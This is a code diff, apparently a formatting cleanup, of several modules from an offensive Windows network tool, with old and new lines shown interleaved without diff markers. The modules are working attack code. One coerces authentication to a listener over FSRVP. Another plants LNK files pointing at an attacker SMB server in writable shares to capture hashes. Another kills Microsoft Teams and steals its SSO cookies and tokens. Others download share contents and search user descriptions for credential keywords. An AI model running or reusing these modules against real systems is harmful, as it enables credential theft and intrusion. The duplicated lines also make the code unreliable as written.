if str(e).find("STATUS_PIPE_NOT_AVAILABLE") >= 0:
dce.disconnect()
return 1
cme_logger.debug("Something went wrong, check error status => %s" % str(e))
cme_logger.info("Connected!")
cme_logger.info("Binding to %s" % binding_params[pipe]['UUID'][0])
cme_logger.info("Binding to %s" % binding_params[pipe]["UUID"][0])
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]['UUID']))
dce.bind(uuidtup_to_bin(binding_params[pipe]["UUID"]))
except Exception as e:
cme_logger.debug("Something went wrong, check error status => %s" % str(e))
@@ -187,15 +253,15 @@ class CoerceAuth:
request = IsPathShadowCopied()
# only NETLOGON and SYSVOL were detected working here
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
request['ShareName'] = '\\\\%s\\NETLOGON\x00' % listener
request["ShareName"] = "\\\\%s\\NETLOGON\x00" % listener
# request.dump()
dce.request(request)
except Exception as e:
cme_logger.debug("Something went wrong, check error status => %s", str(e))
cme_logger.debug("Attack may of may not have worked, check your listener...")
return False
return False
return True
return True
def IsPathSupported(self, dce, listener):
cme_logger.debug("Sending IsPathSupported!")
@@ -203,11 +269,11 @@ class CoerceAuth:
request = IsPathSupported()
# only NETLOGON and SYSVOL were detected working here
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
request['ShareName'] = '\\\\%s\\NETLOGON\x00' % listener
request["ShareName"] = "\\\\%s\\NETLOGON\x00" % listener
dce.request(request)
except Exception as e:
cme_logger.debug("Something went wrong, check error status => %s", str(e))
cme_logger.debug("Attack may of may not have worked, check your listener...")
return False
return False
return True
+18 -14
View File
@@ -11,10 +11,11 @@ class CMEModule:
Original idea and PoC by Justin Angel (@4rch4ngel86)
Module by @byt3bl33d3r
"""
name = "slinky"
description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
supported_protocols = ["smb"]
opsec_safe = True
opsec_safe = False
multiple_hosts = True
def __init__(self, context=None, module_options=None):
@@ -35,23 +36,23 @@ class CMEModule:
self.cleanup = False
if 'CLEANUP' in module_options:
self.cleanup = bool(module_options['CLEANUP'])
if "CLEANUP" in module_options:
self.cleanup = bool(module_options["CLEANUP"])
if 'NAME' not in module_options:
context.log.fail('NAME option is required!')
if "NAME" not in module_options:
context.log.fail("NAME option is required!")
exit(1)
if not self.cleanup and 'SERVER' not in module_options:
context.log.fail('SERVER option is required!')
if not self.cleanup and "SERVER" not in module_options:
context.log.fail("SERVER option is required!")
exit(1)
self.lnk_name = module_options['NAME']
self.lnk_name = module_options["NAME"]
self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
if not self.cleanup:
self.server = module_options['SERVER']
self.server = module_options["SERVER"]
link = pylnk3.create(self.lnk_path)
link.icon = f"\\\\{self.server}\\icons\\icon.ico"
link.save()
@@ -59,19 +60,22 @@ class CMEModule:
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$', 'NETLOGON']:
if "WRITE" in share["access"] and share["name"] not in [
"C$",
"ADMIN$",
"NETLOGON",
]:
context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.lnk_path, 'rb') as lnk:
with open(self.lnk_path, "rb") as lnk:
try:
connection.conn.putFile(share['name'], self.file_path, lnk.read)
connection.conn.putFile(share["name"], self.file_path, lnk.read)
context.log.success(f"Created LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
else:
try:
connection.conn.deleteFile(share['name'], self.file_path)
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(f"Deleted LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
+68 -62
View File
@@ -12,20 +12,20 @@ from impacket.smbconnection import SessionError
CHUNK_SIZE = 4096
suffixes = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB']
suffixes = ["Bytes", "KB", "MB", "GB", "TB", "PB"]
def humansize(nbytes):
i = 0
while nbytes >= 1024 and i < len(suffixes)-1:
nbytes /= 1024.
while nbytes >= 1024 and i < len(suffixes) - 1:
nbytes /= 1024.0
i += 1
f = ('%.2f' % nbytes).rstrip('0').rstrip('.')
return '%s %s' % (f, suffixes[i])
f = ("%.2f" % nbytes).rstrip("0").rstrip(".")
return "%s %s" % (f, suffixes[i])
def humaclock(time):
return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time))
return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time))
def make_dirs(path):
@@ -43,12 +43,20 @@ def make_dirs(path):
pass
get_list_from_option = lambda opt: list(map(lambda o: o.lower(), filter(bool, opt.split(','))))
get_list_from_option = lambda opt: list(map(lambda o: o.lower(), filter(bool, opt.split(","))))
class SMBSpiderPlus:
def __init__(self, smb, logger, read_only, exclude_dirs, exclude_exts, max_file_size, output_folder):
def __init__(
self,
smb,
logger,
read_only,
exclude_dirs,
exclude_exts,
max_file_size,
output_folder,
):
self.smb = smb
self.host = self.smb.conn.getRemoteHost()
self.conn_retry = 5
@@ -81,16 +89,16 @@ class SMBSpiderPlus:
filelist = []
try:
# Get file list for the current folder
filelist = self.smb.conn.listPath(share, subfolder + '*')
filelist = self.smb.conn.listPath(share, subfolder + "*")
except SessionError as e:
self.logger.debug(f'Failed listing files on share "{share}" in directory {subfolder}.')
self.logger.debug(str(e))
if 'STATUS_ACCESS_DENIED' in str(e):
self.logger.debug(f"Cannot list files in directory \"{subfolder}\"")
if "STATUS_ACCESS_DENIED" in str(e):
self.logger.debug(f'Cannot list files in directory "{subfolder}"')
elif 'STATUS_OBJECT_PATH_NOT_FOUND' in str(e):
elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
self.logger.debug(f"The directory {subfolder} does not exist.")
elif self.reconnect():
@@ -114,7 +122,7 @@ class SMBSpiderPlus:
We retry 3 times if there is a SessionError that is not a `STATUS_END_OF_FILE`.
"""
chunk = ''
chunk = ""
retry = 3
while retry > 0:
@@ -142,24 +150,24 @@ class SMBSpiderPlus:
try:
# Get all available shares for the SMB connection
for share in shares:
perms = share['access']
name = share['name']
perms = share["access"]
name = share["name"]
self.logger.debug(f"Share \"{name}\" has perms {perms}")
self.logger.debug(f'Share "{name}" has perms {perms}')
# We only want to spider readable shares
if not 'READ' in perms:
if not "READ" in perms:
continue
# `exclude_dirs` is applied to the shares name
if name.lower() in self.exclude_dirs:
self.logger.debug(f"Share \"{name}\" has been excluded.")
self.logger.debug(f'Share "{name}" has been excluded.')
continue
try:
# Start the spider at the root of the share folder
self.results[name] = {}
self._spider(name, '')
self._spider(name, "")
except SessionError:
traceback.print_exc()
self.logger.fail(f"Got a session error while spidering")
@@ -177,9 +185,9 @@ class SMBSpiderPlus:
def _spider(self, share, subfolder):
self.logger.debug(f'Spider share "{share}" on folder "{subfolder}"')
filelist = self.list_path(share, subfolder + '*')
filelist = self.list_path(share, subfolder + "*")
if share.lower() in self.exclude_dirs:
self.logger.debug(f'The directory has been excluded')
self.logger.debug(f"The directory has been excluded")
return
# For each entry:
@@ -196,20 +204,20 @@ class SMBSpiderPlus:
continue
if result.is_directory():
if result.get_longname() in ['.', '..']:
if result.get_longname() in [".", ".."]:
continue
self._spider(share, next_path + '/')
self._spider(share, next_path + "/")
else:
# Record the file metadata
self.results[share][next_path] = {
'size': humansize(result.get_filesize()),
"size": humansize(result.get_filesize()),
#'ctime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_ctime())),
'ctime_epoch': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_ctime_epoch())),
"ctime_epoch": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(result.get_ctime_epoch())),
#'mtime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_mtime())),
'mtime_epoch': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_mtime_epoch())),
"mtime_epoch": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(result.get_mtime_epoch())),
#'atime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_atime())),
'atime_epoch': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_atime_epoch()))
"atime_epoch": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(result.get_atime_epoch())),
}
# The collection logic is here. You can add more checks based
@@ -217,7 +225,7 @@ class SMBSpiderPlus:
# Check the file extension. We check here to prevent the creation
# of a RemoteFile object that perform a remote connection.
file_extension = next_path[next_path.rfind('.')+1:]
file_extension = next_path[next_path.rfind(".") + 1 :]
if file_extension in self.exclude_exts:
self.logger.debug(f'The file "{next_path}" has an excluded extension')
continue
@@ -225,7 +233,7 @@ class SMBSpiderPlus:
# If there is not results in the file but the size is correct,
# then we save it
if result.get_filesize() > self.max_file_size:
self.logger.debug(f'File {result.get_longname()} has size {result.get_filesize()}')
self.logger.debug(f"File {result.get_longname()} has size {result.get_filesize()}")
continue
## You can add more checks here: date, ...
@@ -248,11 +256,11 @@ class SMBSpiderPlus:
remote_file.close()
except SessionError as e:
if 'STATUS_SHARING_VIOLATION' in str(e):
if "STATUS_SHARING_VIOLATION" in str(e):
pass
except Exception as e:
traceback.print_exc()
self.logger.fail(f'Error reading file {next_path}: {str(e)}')
self.logger.fail(f"Error reading file {next_path}: {str(e)}")
def save_file(self, remote_file):
# Reset the remote_file to point to the begining of the file
@@ -261,16 +269,16 @@ class SMBSpiderPlus:
# remove the "\\" before the remote host part
file_path = str(remote_file)[2:]
# The remote_file.file_name contains '/'
file_path = file_path.replace('/', os.path.sep)
file_path = file_path.replace('\\', os.path.sep)
file_path = file_path.replace("/", os.path.sep)
file_path = file_path.replace("\\", os.path.sep)
filename = file_path.split(os.path.sep)[-1]
directory = os.path.join(self.output_folder, file_path[:-len(filename)])
directory = os.path.join(self.output_folder, file_path[: -len(filename)])
# Create the subdirectories based on the share name and file path
self.logger.debug(f'Create directory "{directory}"')
make_dirs(directory)
with open(os.path.join(directory, filename), 'wb') as fd:
with open(os.path.join(directory, filename), "wb") as fd:
while True:
chunk = self.read_chunk(remote_file)
if not chunk:
@@ -281,46 +289,44 @@ class SMBSpiderPlus:
# Save the remote host shares metadatas to a json file
# TODO: use the json file as an input to save only the new or modified
# files since the last time.
path = os.path.join(self.output_folder, f'{self.host}.json')
with open(path, 'w', encoding='utf-8') as fd:
path = os.path.join(self.output_folder, f"{self.host}.json")
with open(path, "w", encoding="utf-8") as fd:
fd.write(json.dumps(results, indent=4, sort_keys=True))
class CMEModule:
"""
Spider plus module
Module by @vincd
Spider plus module
Module by @vincd
"""
name = 'spider_plus'
description = 'List files on the target server (excluding `DIR` directories and `EXT` extensions) and save them to the `OUTPUT` directory if they are smaller then `SIZE`'
supported_protocols = ['smb']
opsec_safe= True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
name = "spider_plus"
description = "List files on the target server (excluding `DIR` directories and `EXT` extensions) and save them to the `OUTPUT` directory if they are smaller then `SIZE`"
supported_protocols = ["smb"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""
READ_ONLY Only list files and put the name into a JSON (default: True)
EXCLUDE_EXTS Extension file to exclude (Default: ico,lnk)
EXCLUDE_DIR Directory to exclude (Default: print$)
MAX_FILE_SIZE Max file size allowed to dump (Default: 51200)
OUTPUT Path of the remote folder where the dump will occur (Default: /tmp/cme_spider_plus)
READ_ONLY Only list files and put the name into a JSON (default: True)
EXCLUDE_EXTS Extension file to exclude (Default: ico,lnk)
EXCLUDE_DIR Directory to exclude (Default: print$)
MAX_FILE_SIZE Max file size allowed to dump (Default: 51200)
OUTPUT Path of the remote folder where the dump will occur (Default: /tmp/cme_spider_plus)
"""
self.read_only = module_options.get('READ_ONLY', True)
self.exclude_exts = get_list_from_option(module_options.get('EXCLUDE_EXTS', 'ico,lnk'))
self.exlude_dirs = get_list_from_option(module_options.get('EXCLUDE_DIR', 'print$'))
self.max_file_size = int(module_options.get('SIZE', 50 * 1024))
self.output_folder = module_options.get('OUTPUT', os.path.join('/tmp', 'cme_spider_plus'))
self.read_only = module_options.get("READ_ONLY", True)
self.exclude_exts = get_list_from_option(module_options.get("EXCLUDE_EXTS", "ico,lnk"))
self.exlude_dirs = get_list_from_option(module_options.get("EXCLUDE_DIR", "print$"))
self.max_file_size = int(module_options.get("SIZE", 50 * 1024))
self.output_folder = module_options.get("OUTPUT", os.path.join("/tmp", "cme_spider_plus"))
def on_login(self, context, connection):
context.log.display('Started spidering plus with option:')
context.log.display(' DIR: {dir}'.format(dir=self.exlude_dirs))
context.log.display(' EXT: {ext}'.format(ext=self.exclude_exts))
context.log.display(' SIZE: {size}'.format(size=self.max_file_size))
context.log.display(' OUTPUT: {output}'.format(output=self.output_folder))
context.log.display("Started spidering plus with option:")
context.log.display(" DIR: {dir}".format(dir=self.exlude_dirs))
context.log.display(" EXT: {ext}".format(ext=self.exclude_exts))
context.log.display(" SIZE: {size}".format(size=self.max_file_size))
context.log.display(" OUTPUT: {output}".format(output=self.output_folder))
spider = SMBSpiderPlus(
connection,
+41 -35
View File
@@ -4,13 +4,16 @@
# https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py
from impacket import uuid
from impacket.dcerpc.v5 import transport, epm
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
RPC_PROXY_RPC_OUT_DATA_404_ERR
from impacket.dcerpc.v5.rpch import (
RPC_PROXY_INVALID_RPC_PORT_ERR,
RPC_PROXY_CONN_A1_0X6BA_ERR,
RPC_PROXY_CONN_A1_404_ERR,
RPC_PROXY_RPC_OUT_DATA_404_ERR,
)
KNOWN_PROTOCOLS = {
135: {'bindstr': r'ncacn_ip_tcp:%s[135]'},
445: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]'},
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
}
@@ -19,6 +22,7 @@ class CMEModule:
For printnightmare: detect if print spooler is enabled or not. Then use @cube0x0's project https://github.com/cube0x0/CVE-2021-1675 or Mimikatz from Benjamin Delpy
Module by @mpgn_x64
"""
name = "spooler"
description = "Detect if print spooler is enabled or not"
supported_protocols = ["smb"]
@@ -36,17 +40,16 @@ class CMEModule:
PORT Port to check (defaults to 135)
"""
self.port = 135
if 'PORT' in module_options:
self.port = int(module_options['PORT'])
if "PORT" in module_options:
self.port = int(module_options["PORT"])
def on_login(self, context, connection):
entries = []
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
self.__stringbinding = KNOWN_PROTOCOLS[self.port]['bindstr'] % connection.host
context.log.debug('StringBinding %s' % self.__stringbinding)
self.__stringbinding = KNOWN_PROTOCOLS[self.port]["bindstr"] % connection.host
context.log.debug("StringBinding %s" % self.__stringbinding)
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain)
@@ -58,51 +61,55 @@ class CMEModule:
try:
entries = self.__fetch_list(rpctransport)
except Exception as e:
error_text = 'Protocol failed: %s' % e
error_text = "Protocol failed: %s" % e
context.log.critical(error_text)
if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
RPC_PROXY_CONN_A1_404_ERR in error_text or \
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
context.log.critical("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or RPC_PROXY_CONN_A1_404_ERR in error_text or RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
context.log.critical("This usually means the target does not allow " "to connect to its epmapper using RpcProxy.")
return
# Display results.
endpoints = {}
# Let's group the UUIDS
for entry in entries:
binding = epm.PrintStringBinding(entry['tower']['Floors'])
tmp_uuid = str(entry['tower']['Floors'][0])
binding = epm.PrintStringBinding(entry["tower"]["Floors"])
tmp_uuid = str(entry["tower"]["Floors"][0])
if (tmp_uuid in endpoints) is not True:
endpoints[tmp_uuid] = {}
endpoints[tmp_uuid]['Bindings'] = list()
endpoints[tmp_uuid]["Bindings"] = list()
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18] in epm.KNOWN_UUIDS:
endpoints[tmp_uuid]['EXE'] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18]]
endpoints[tmp_uuid]["EXE"] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18]]
else:
endpoints[tmp_uuid]['EXE'] = 'N/A'
endpoints[tmp_uuid]['annotation'] = entry['annotation'][:-1].decode('utf-8')
endpoints[tmp_uuid]['Bindings'].append(binding)
endpoints[tmp_uuid]["EXE"] = "N/A"
endpoints[tmp_uuid]["annotation"] = entry["annotation"][:-1].decode("utf-8")
endpoints[tmp_uuid]["Bindings"].append(binding)
if tmp_uuid[:36] in epm.KNOWN_PROTOCOLS:
endpoints[tmp_uuid]['Protocol'] = epm.KNOWN_PROTOCOLS[tmp_uuid[:36]]
endpoints[tmp_uuid]["Protocol"] = epm.KNOWN_PROTOCOLS[tmp_uuid[:36]]
else:
endpoints[tmp_uuid]['Protocol'] = "N/A"
endpoints[tmp_uuid]["Protocol"] = "N/A"
for endpoint in list(endpoints.keys()):
if "MS-RPRN" in endpoints[endpoint]['Protocol']:
context.log.debug("Protocol: %s " % endpoints[endpoint]['Protocol'])
context.log.debug("Provider: %s " % endpoints[endpoint]['EXE'])
context.log.debug("UUID : %s %s" % (endpoint, endpoints[endpoint]['annotation']))
if "MS-RPRN" in endpoints[endpoint]["Protocol"]:
context.log.debug("Protocol: %s " % endpoints[endpoint]["Protocol"])
context.log.debug("Provider: %s " % endpoints[endpoint]["EXE"])
context.log.debug("UUID : %s %s" % (endpoint, endpoints[endpoint]["annotation"]))
context.log.debug("Bindings: ")
for binding in endpoints[endpoint]['Bindings']:
for binding in endpoints[endpoint]["Bindings"]:
context.log.debug(" %s" % binding)
context.log.debug("")
context.log.highlight('Spooler service enabled')
context.log.highlight("Spooler service enabled")
try:
host = context.db.get_hosts(connection.host)[0]
context.db.add_host(host.ip, host.hostname, host.domain, host.os, host.smbv1, host.signing, spooler=True)
context.db.add_host(
host.ip,
host.hostname,
host.domain,
host.os,
host.smbv1,
host.signing,
spooler=True,
)
except Exception as e:
context.log.debug(f"Error updating spooler status in database")
break
@@ -122,4 +129,3 @@ class CMEModule:
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
return resp
+47 -37
View File
@@ -3,104 +3,114 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
def searchResEntry_to_dict(results):
data = {}
for attr in results['attributes']:
key = str(attr['type'])
value = str(attr['vals'][0])
for attr in results["attributes"]:
key = str(attr["type"])
value = str(attr["vals"][0])
data[key] = value
return data
class CMEModule:
"""
Retrieves the different Sites and Subnets of an Active Directory
Retrieves the different Sites and Subnets of an Active Directory
Authors:
Podalirius: @podalirius_
Authors:
Podalirius: @podalirius_
"""
def options(self, context, module_options):
"""
showservers Toggle printing of servers (default: true)
showservers Toggle printing of servers (default: true)
"""
self.showservers = True
if module_options and 'SHOWSERVERS' in module_options:
if module_options['SHOWSERVERS'].lower() == "true" or module_options['SHOWSERVERS'] == "1":
if module_options and "SHOWSERVERS" in module_options:
if module_options["SHOWSERVERS"].lower() == "true" or module_options["SHOWSERVERS"] == "1":
self.showservers = True
elif module_options['SHOWSERVERS'].lower() == "false" or module_options['SHOWSERVERS'] == "0":
elif module_options["SHOWSERVERS"].lower() == "false" or module_options["SHOWSERVERS"] == "0":
self.showservers = False
else:
print("Could not parse showservers option.")
name = 'subnets'
description = 'Retrieves the different Sites and Subnets of an Active Directory'
supported_protocols = ['ldap']
name = "subnets"
description = "Retrieves the different Sites and Subnets of an Active Directory"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def on_login(self, context, connection):
dn = ','.join(["DC=%s" % part for part in connection.domain.split('.')][-2:])
dn = ",".join(["DC=%s" % part for part in connection.domain.split(".")][-2:])
context.log.display('Getting the Sites and Subnets from domain')
context.log.display("Getting the Sites and Subnets from domain")
list_sites = connection.ldapConnection.search(
searchBase="CN=Configuration,%s" % dn,
searchFilter='(objectClass=site)',
attributes=['distinguishedName', 'name', 'description'],
sizeLimit=999
searchFilter="(objectClass=site)",
attributes=["distinguishedName", "name", "description"],
sizeLimit=999,
)
for site in list_sites:
if isinstance(site, ldapasn1_impacket.SearchResultEntry) is not True:
continue
site = searchResEntry_to_dict(site)
site_dn = site['distinguishedName']
site_name = site['name']
site_dn = site["distinguishedName"]
site_name = site["name"]
site_description = ""
if "description" in site.keys():
site_description = site['description']
site_description = site["description"]
# Getting subnets of this site
list_subnets = connection.ldapConnection.search(
searchBase="CN=Sites,CN=Configuration,%s" % dn,
searchFilter='(siteObject=%s)' % site_dn,
attributes=['distinguishedName', 'name'],
sizeLimit=999
searchFilter="(siteObject=%s)" % site_dn,
attributes=["distinguishedName", "name"],
sizeLimit=999,
)
if len([subnet for subnet in list_subnets if isinstance(subnet, ldapasn1_impacket.SearchResultEntry)]) == 0:
context.log.highlight("Site \"%s\"" % site_name)
context.log.highlight('Site "%s"' % site_name)
else:
for subnet in list_subnets:
if isinstance(subnet, ldapasn1_impacket.SearchResultEntry) is not True:
continue
subnet = searchResEntry_to_dict(subnet)
subnet_dn = subnet['distinguishedName']
subnet_name = subnet['name']
subnet_dn = subnet["distinguishedName"]
subnet_name = subnet["name"]
if self.showservers:
# Getting machines in these subnets
list_servers = connection.ldapConnection.search(
searchBase=site_dn,
searchFilter='(objectClass=server)',
attributes=['cn'],
sizeLimit=999
searchFilter="(objectClass=server)",
attributes=["cn"],
sizeLimit=999,
)
if len([server for server in list_servers if isinstance(server, ldapasn1_impacket.SearchResultEntry)]) == 0:
if len(site_description) != 0:
context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\")" % (site_name, subnet_name, site_description))
context.log.highlight('Site "%s" (Subnet:%s) (description:"%s")' % (site_name, subnet_name, site_description))
else:
context.log.highlight("Site \"%s\" (Subnet:%s)" % (site_name, subnet_name))
context.log.highlight('Site "%s" (Subnet:%s)' % (site_name, subnet_name))
else:
for server in list_servers:
if isinstance(server, ldapasn1_impacket.SearchResultEntry) is not True:
continue
server = searchResEntry_to_dict(server)['cn']
server = searchResEntry_to_dict(server)["cn"]
if len(site_description) != 0:
context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\") (Server:%s)" % (site_name, subnet_name, site_description, server))
context.log.highlight(
'Site "%s" (Subnet:%s) (description:"%s") (Server:%s)'
% (
site_name,
subnet_name,
site_description,
server,
)
)
else:
context.log.highlight("Site \"%s\" (Subnet:%s) (Server:%s)" % (site_name, subnet_name, server))
context.log.highlight('Site "%s" (Subnet:%s) (Server:%s)' % (site_name, subnet_name, server))
else:
if len(site_description) != 0:
context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\")" % (site_name, subnet_name, site_description))
context.log.highlight('Site "%s" (Subnet:%s) (description:"%s")' % (site_name, subnet_name, site_description))
else:
context.log.highlight("Site \"%s\" (Subnet:%s)" % (site_name, subnet_name))
context.log.highlight('Site "%s" (Subnet:%s)' % (site_name, subnet_name))
+14 -16
View File
@@ -5,45 +5,43 @@ import sqlite3
class CMEModule:
name = 'teams_localdb'
name = "teams_localdb"
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process"
supported_protocols = ['smb']
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
"""
"""
""" """
def on_admin_login(self, context, connection):
context.log.display('Killing all Teams process to open the cookie file')
context.log.display("Killing all Teams process to open the cookie file")
connection.execute("taskkill /F /T /IM teams.exe")
#sleep(3)
# sleep(3)
found = 0
paths = connection.spider('C$', folder='Users', regex=['[a-zA-Z0-9]*'], depth=0)
with open("/tmp/teams_cookies2.txt","wb") as f:
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
with open("/tmp/teams_cookies2.txt", "wb") as f:
for path in paths:
try:
connection.conn.getFile('C$', path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
context.log.highlight("Found Cookie file in path " + path)
found = 1
self.parse_file(context, 'skypetoken_asm')
self.parse_file(context, 'SSOAUTHCOOKIE')
self.parse_file(context, "skypetoken_asm")
self.parse_file(context, "SSOAUTHCOOKIE")
f.seek(0)
f.trunkate()
except Exception as e:
if 'STATUS_SHARING_VIOLATION' in str(e):
if "STATUS_SHARING_VIOLATION" in str(e):
context.log.debug(str(e))
context.log.highlight("Found Cookie file in path " + path)
context.log.fail('Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database')
context.log.fail("Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database")
if found == 0:
context.log.display('No cookie file found in Users folder')
context.log.display("No cookie file found in Users folder")
@staticmethod
def parse_file(context, name):
try:
conn = sqlite3.connect('/tmp/teams_cookies2.txt')
conn = sqlite3.connect("/tmp/teams_cookies2.txt")
c = conn.cursor()
c.execute("SELECT value FROM cookies WHERE name = '" + name + "'")
row = c.fetchone()
+19 -16
View File
@@ -3,38 +3,41 @@
from sys import exit
class CMEModule:
"""
Executes the Test-Connection PowerShell cmdlet
Module by @byt3bl33d3r
Executes the Test-Connection PowerShell cmdlet
Module by @byt3bl33d3r
"""
name = 'test_connection'
name = "test_connection"
description = "Pings a host"
supported_protocols = ['smb', 'mssql']
supported_protocols = ["smb", "mssql"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
HOST Host to ping
HOST Host to ping
"""
self.host = None
if 'HOST' not in module_options:
context.log.fail('HOST option is required!')
if "HOST" not in module_options:
context.log.fail("HOST option is required!")
exit(1)
self.host = module_options['HOST']
self.host = module_options["HOST"]
def on_admin_login(self, context, connection):
command = 'Test-Connection {} -quiet -count 1'.format(self.host)
# $ProgressPreference = 'SilentlyContinue' prevents the "preparing modules for the first time" error
command = f"$ProgressPreference = 'SilentlyContinue'; Test-Connection {self.host} -quiet -count 1"
output = connection.ps_execute(command, get_output=True)
output = connection.ps_execute(command, get_output=True)[0]
if output:
output = output.strip()
if bool(output) is True:
context.log.success('Pinged successfully')
elif bool(output) is False:
context.log.fail('Host unreachable')
context.log.debug(f"Output: {output}")
context.log.debug(f"Type: {type(output)}")
if output == "True":
context.log.success("Pinged successfully")
else:
context.log.fail("Host unreachable")
+11 -8
View File
@@ -19,23 +19,26 @@ class CMEModule:
logging.debug("test")
def options(self, context, module_options):
"""
"""
""" """
def on_admin_login(self, context, connection):
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System')
keyHandle = ans['phkResult']
dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA')
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",
)
keyHandle = ans["phkResult"]
dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "EnableLUA")
if uac_value == 1:
context.log.highlight('UAC Status: 1 (UAC Enabled)')
context.log.highlight("UAC Status: 1 (UAC Enabled)")
elif uac_value == 0:
context.log.highlight('UAC Status: 0 (UAC Disabled)')
context.log.highlight("UAC Status: 0 (UAC Disabled)")
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
remoteOps.finish()
+23 -23
View File
@@ -13,6 +13,7 @@ class CMEModule:
Module by Tobias Neitzel (@qtc_de)
"""
name = "user-desc"
description = "Get user descriptions stored in Active Directory"
supported_protocols = ["ldap"]
@@ -41,31 +42,31 @@ class CMEModule:
self.desc_count = 0
self.context = context
self.account_names = set()
self.keywords = {'pass', 'creds', 'creden', 'key', 'secret', 'default'}
self.keywords = {"pass", "creds", "creden", "key", "secret", "default"}
if 'LDAP_FILTER' in module_options:
if "LDAP_FILTER" in module_options:
self.search_filter = module_options["LDAP_FILTER"]
else:
self.search_filter = "(&(objectclass=user)"
if 'DESC_FILTER' in module_options:
if "DESC_FILTER" in module_options:
self.search_filter += f"(description={module_options['DESC_FILTER']})"
if 'DESC_INVERT' in module_options:
if "DESC_INVERT" in module_options:
self.search_filter += f"(!(description={module_options['DESC_INVERT']}))"
if 'USER_FILTER' in module_options:
if "USER_FILTER" in module_options:
self.search_filter += f"(sAMAccountName={module_options['USER_FILTER']})"
if 'USER_INVERT' in module_options:
if "USER_INVERT" in module_options:
self.search_filter += f"(!(sAMAccountName={module_options['USER_INVERT']}))"
self.search_filter += ")"
if 'KEYWORDS' in module_options:
